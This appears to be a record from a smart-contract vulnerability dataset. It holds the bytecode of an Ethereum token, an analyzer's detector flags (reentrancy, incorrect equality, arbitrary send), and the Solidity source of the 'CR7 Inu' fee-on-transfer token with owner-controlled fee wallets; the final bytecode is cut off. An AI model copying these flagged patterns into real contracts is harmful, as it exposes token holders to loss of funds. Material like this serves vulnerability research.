4f6565b50600c546001906001600160a01b03858116911614801561129c5750600b546001600160a01b03848116911614155b80156112a9575042600e54115b156112f05760006112b9846106b6565b90506112d960646112d3678ac7230489e8000060036114e0565b9061155f565b6112e384836115a1565b11156112ee57600080fd5b505b600d5442141561131e576001600160a01b0383166000908152600560205260409020805460ff191660011790555b6000611329306106b6565b600c54909150600160b01b900460ff161580156113545750600c546001600160a01b03868116911614155b156113be5780156113be57600c54611388906064906112d390600f90611382906001600160a01b03166106b6565b906114e0565b8111156113b557600c546113b2906064906112d390600f90611382906001600160a01b03166106b6565b90505b6113be81610d19565b505b6113cc84848484611600565b50505050565b600081848411156113f65760405162461bcd60e51b81526004016104f691906118e9565b5060006114038486611c3c565b95945050505050565b60006006548211156114735760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f6565b600061147d611703565b9050611489838261155f565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114ef57506000610529565b60006114fb8385611c53565b9050826115088583611c72565b146114895760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f6565b600061148983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611726565b6000806115ae8385611b96565b9050838110156114895760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f6565b808061160e5761160e611754565b60008060008061161d87611770565b6001600160a01b038d166000908152600160205260409020549397509195509350915061164a90856117b7565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461167990846115a1565b6001600160a01b03891660009081526001602052604090205561169b816117f9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116e091815260200190565b60405180910390a350505050806116fc576116fc600954600855565b5050505050565b6000806000611710611843565b909250905061171f828261155f565b9250505090565b600081836117475760405162461bcd60e51b81526004016104f691906118e9565b5060006114038486611c72565b60006008541161176357600080fd5b6008805460095560009055565b60008060008060008061178587600854611883565b915091506000611793611703565b90506000806117a38a85856118b0565b909b909a5094985092965092945050505050565b600061148983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113d2565b6000611803611703565b9050600061181183836114e0565b3060009081526001602052604090205490915061182e90826115a1565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e8000061185e828261155f565b82101561187a57505060065492678ac7230489e8000092509050565b90939092509050565b6000808061189660646112d387876114e0565b905060006118a486836117b7565b96919550909350505050565b600080806118be86856114e0565b905060006118cc86866114e0565b905060006118da83836117b7565b92989297509195505050505050565b600060208083528351808285015260005b81811015611916578581018301518582016040015282016118fa565b81811115611928576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051557600080fd5b803561195e8161193e565b919050565b6000806040838503121561197657600080fd5b82356119818161193e565b946020939093013593505050565b6000806000606084860312156119a457600080fd5b83356119af8161193e565b925060208401356119bf8161193e565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119f957600080fd5b823567ffffffffffffffff80821115611a1157600080fd5b818501915085601f830112611a2557600080fd5b813581811115611a3757611a376119d0565b8060051b604051601f19603f83011681018181108582111715611a5c57611a5c6119d0565b604052918252848201925083810185019188831115611a7a57600080fd5b938501935b82851015611a9f57611a9085611953565b84529385019392850192611a7f565b98975050505050505050565b600060208284031215611abd57600080fd5b81356114898161193e565b60008060408385031215611adb57600080fd5b8235611ae68161193e565b91506020830135611af68161193e565b809150509250929050565b600060208284031215611b1357600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b8f57611b8f611b65565b5060010190565b60008219821115611ba957611ba9611b65565b500190565b600060208284031215611bc057600080fd5b81516114898161193e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c1b5784516001600160a01b031683529383019391830191600101611bf6565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c4e57611c4e611b65565b500390565b6000816000190483118215151615611c6d57611c6d611b65565b500290565b600082611c8f57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bfccf9ba9f72262994957be888e3f18f6b3a0986ef0881ce4432c20c687f78d064736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,881
0x3b9323f3fd9e4e7df202c21c21bff011105e5663
/** *Submitted for verification at Etherscan.io on 2021-06-22 */ /* SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CR7Inu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"⚽️ CR7 Inu ⚽️" ; string private constant _symbol = unicode"CR7 INU"; uint8 private constant _decimals = 9; uint256 private _taxFee = 6; uint256 private _teamFee = 4; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 40; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(1)).div(10); _teamFee = (_impactFee.mul(9)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 1; _teamFee = 9; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (30 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 10000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (240 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a91461037f578063c3c8cd801461039f578063c9567bf9146103b4578063db92dbb6146103c9578063dd62ed3e146103de578063e8078d941461042457600080fd5b8063715018a6146102d35780638da5cb5b146102e857806395d89b4114610310578063a9059cbb14610340578063a985ceef1461036057600080fd5b8063313ce567116100fd578063313ce5671461022057806345596e2e1461023c5780635932ead11461025e57806368a3a6a51461027e5780636fc3eaec1461029e57806370a08231146102b357600080fd5b806306fdde0314610145578063095ea7b31461019557806318160ddd146101c557806323b872dd146101eb57806327f3a72a1461020b57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b50604080518082019091526015815274e29abdefb88f2043523720496e7520e29abdefb88f60581b60208201525b60405161018c9190611be6565b60405180910390f35b3480156101a157600080fd5b506101b56101b0366004611b39565b610439565b604051901515815260200161018c565b3480156101d157600080fd5b50683635c9adc5dea000005b60405190815260200161018c565b3480156101f757600080fd5b506101b5610206366004611af8565b610450565b34801561021757600080fd5b506101dd6104b9565b34801561022c57600080fd5b506040516009815260200161018c565b34801561024857600080fd5b5061025c610257366004611b9f565b6104c9565b005b34801561026a57600080fd5b5061025c610279366004611b65565b610572565b34801561028a57600080fd5b506101dd610299366004611a85565b6105f1565b3480156102aa57600080fd5b5061025c610614565b3480156102bf57600080fd5b506101dd6102ce366004611a85565b610641565b3480156102df57600080fd5b5061025c610663565b3480156102f457600080fd5b506000546040516001600160a01b03909116815260200161018c565b34801561031c57600080fd5b5060408051808201909152600781526643523720494e5560c81b602082015261017f565b34801561034c57600080fd5b506101b561035b366004611b39565b6106d7565b34801561036c57600080fd5b50601454600160a81b900460ff166101b5565b34801561038b57600080fd5b506101dd61039a366004611a85565b6106e4565b3480156103ab57600080fd5b5061025c61070a565b3480156103c057600080fd5b5061025c610740565b3480156103d557600080fd5b506101dd61078d565b3480156103ea57600080fd5b506101dd6103f9366004611abf565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561043057600080fd5b5061025c6107a5565b6000610446338484610b58565b5060015b92915050565b600061045d848484610c7c565b6104af84336104aa85604051806060016040528060288152602001611dd8602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061121f565b610b58565b5060019392505050565b60006104c430610641565b905090565b6011546001600160a01b0316336001600160a01b0316146104e957600080fd5b603381106105365760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b0316331461059c5760405162461bcd60e51b815260040161052d90611c3b565b6014805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870690602001610567565b6001600160a01b03811660009081526006602052604081205461044a9042611d2c565b6011546001600160a01b0316336001600160a01b03161461063457600080fd5b4761063e81611259565b50565b6001600160a01b03811660009081526002602052604081205461044a906112de565b6000546001600160a01b0316331461068d5760405162461bcd60e51b815260040161052d90611c3b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610446338484610c7c565b6001600160a01b03811660009081526006602052604081206001015461044a9042611d2c565b6011546001600160a01b0316336001600160a01b03161461072a57600080fd5b600061073530610641565b905061063e81611362565b6000546001600160a01b0316331461076a5760405162461bcd60e51b815260040161052d90611c3b565b6014805460ff60a01b1916600160a01b1790556107884260f0611ce1565b601555565b6014546000906104c4906001600160a01b0316610641565b6000546001600160a01b031633146107cf5760405162461bcd60e51b815260040161052d90611c3b565b601454600160a01b900460ff16156108295760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161052d565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108663082683635c9adc5dea00000610b58565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561089f57600080fd5b505afa1580156108b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d79190611aa2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561091f57600080fd5b505afa158015610933573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109579190611aa2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561099f57600080fd5b505af11580156109b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d79190611aa2565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610a0781610641565b600080610a1c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a7f57600080fd5b505af1158015610a93573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab89190611bb8565b5050678ac7230489e800006010555042600d5560145460135460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b1c57600080fd5b505af1158015610b30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b549190611b82565b5050565b6001600160a01b038316610bba5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052d565b6001600160a01b038216610c1b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052d565b6001600160a01b038216610d425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052d565b60008111610da45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052d565b6000546001600160a01b03848116911614801590610dd057506000546001600160a01b03838116911614155b156111c257601454600160a81b900460ff1615610e50573360009081526006602052604090206002015460ff16610e5057604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6014546001600160a01b038481169116148015610e7b57506013546001600160a01b03838116911614155b8015610ea057506001600160a01b03821660009081526005602052604090205460ff16155b1561100457601454600160a01b900460ff16610efe5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161052d565b60016009908155600a55601454600160a81b900460ff1615610fca57426015541115610fca57601054811115610f3357600080fd5b6001600160a01b0382166000908152600660205260409020544211610fa55760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b606482015260840161052d565b610fb042601e611ce1565b6001600160a01b0383166000908152600660205260409020555b601454600160a81b900460ff161561100457610fe742600f611ce1565b6001600160a01b0383166000908152600660205260409020600101555b600061100f30610641565b601454909150600160b01b900460ff1615801561103a57506014546001600160a01b03858116911614155b801561104f5750601454600160a01b900460ff165b156111c057601454600160a81b900460ff16156110dc576001600160a01b03841660009081526006602052604090206001015442116110dc5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161052d565b601454600160b81b900460ff1615611141576000611105600c54846114eb90919063ffffffff16565b6014549091506111349061112d908590611127906001600160a01b0316610641565b9061156a565b82906115c9565b905061113f8161160b565b505b80156111ae57600b5460145461117791606491611171919061116b906001600160a01b0316610641565b906114eb565b906115c9565b8111156111a557600b546014546111a291606491611171919061116b906001600160a01b0316610641565b90505b6111ae81611362565b4780156111be576111be47611259565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061120457506001600160a01b03831660009081526005602052604090205460ff165b1561120d575060005b6112198484848461167d565b50505050565b600081848411156112435760405162461bcd60e51b815260040161052d9190611be6565b5060006112508486611d2c565b95945050505050565b6011546001600160a01b03166108fc6112738360026115c9565b6040518115909202916000818181858888f1935050505015801561129b573d6000803e3d6000fd5b506012546001600160a01b03166108fc6112b68360026115c9565b6040518115909202916000818181858888f19350505050158015610b54573d6000803e3d6000fd5b60006007548211156113455760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161052d565b600061134f6116ab565b905061135b83826115c9565b9392505050565b6014805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113aa576113aa611d9e565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113fe57600080fd5b505afa158015611412573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114369190611aa2565b8160018151811061144957611449611d9e565b6001600160a01b03928316602091820292909201015260135461146f9130911684610b58565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114a8908590600090869030904290600401611c70565b600060405180830381600087803b1580156114c257600080fd5b505af11580156114d6573d6000803e3d6000fd5b50506014805460ff60b01b1916905550505050565b6000826114fa5750600061044a565b60006115068385611d0d565b9050826115138583611cf9565b1461135b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161052d565b6000806115778385611ce1565b90508381101561135b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161052d565b600061135b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116ce565b600a8082101561161d5750600a611631565b602882111561162e57506028611631565b50805b61163c8160026116fc565b1561164f578061164b81611d43565b9150505b61165f600a6111718360016114eb565b600990815561167690600a906111719084906114eb565b600a555050565b8061168a5761168a61173e565b61169584848461176c565b8061121957611219600e54600955600f54600a55565b60008060006116b8611863565b90925090506116c782826115c9565b9250505090565b600081836116ef5760405162461bcd60e51b815260040161052d9190611be6565b5060006112508486611cf9565b600061135b83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506118a5565b60095415801561174e5750600a54155b1561175557565b60098054600e55600a8054600f5560009182905555565b60008060008060008061177e876118d9565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117b09087611936565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117df908661156a565b6001600160a01b03891660009081526002602052604090205561180181611978565b61180b84836119c2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161185091815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061187f82826115c9565b82101561189c57505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836118c65760405162461bcd60e51b815260040161052d9190611be6565b506118d18385611d5e565b949350505050565b60008060008060008060008060006118f68a600954600a546119e6565b92509250925060006119066116ab565b905060008060006119198e878787611a35565b919e509c509a509598509396509194505050505091939550919395565b600061135b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061121f565b60006119826116ab565b9050600061199083836114eb565b306000908152600260205260409020549091506119ad908261156a565b30600090815260026020526040902055505050565b6007546119cf9083611936565b6007556008546119df908261156a565b6008555050565b60008080806119fa606461117189896114eb565b90506000611a0d60646111718a896114eb565b90506000611a2582611a1f8b86611936565b90611936565b9992985090965090945050505050565b6000808080611a4488866114eb565b90506000611a5288876114eb565b90506000611a6088886114eb565b90506000611a7282611a1f8686611936565b939b939a50919850919650505050505050565b600060208284031215611a9757600080fd5b813561135b81611db4565b600060208284031215611ab457600080fd5b815161135b81611db4565b60008060408385031215611ad257600080fd5b8235611add81611db4565b91506020830135611aed81611db4565b809150509250929050565b600080600060608486031215611b0d57600080fd5b8335611b1881611db4565b92506020840135611b2881611db4565b929592945050506040919091013590565b60008060408385031215611b4c57600080fd5b8235611b5781611db4565b946020939093013593505050565b600060208284031215611b7757600080fd5b813561135b81611dc9565b600060208284031215611b9457600080fd5b815161135b81611dc9565b600060208284031215611bb157600080fd5b5035919050565b600080600060608486031215611bcd57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611c1357858101830151858201604001528201611bf7565b81811115611c25576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cc05784516001600160a01b031683529383019391830191600101611c9b565b50506001600160a01b039690961660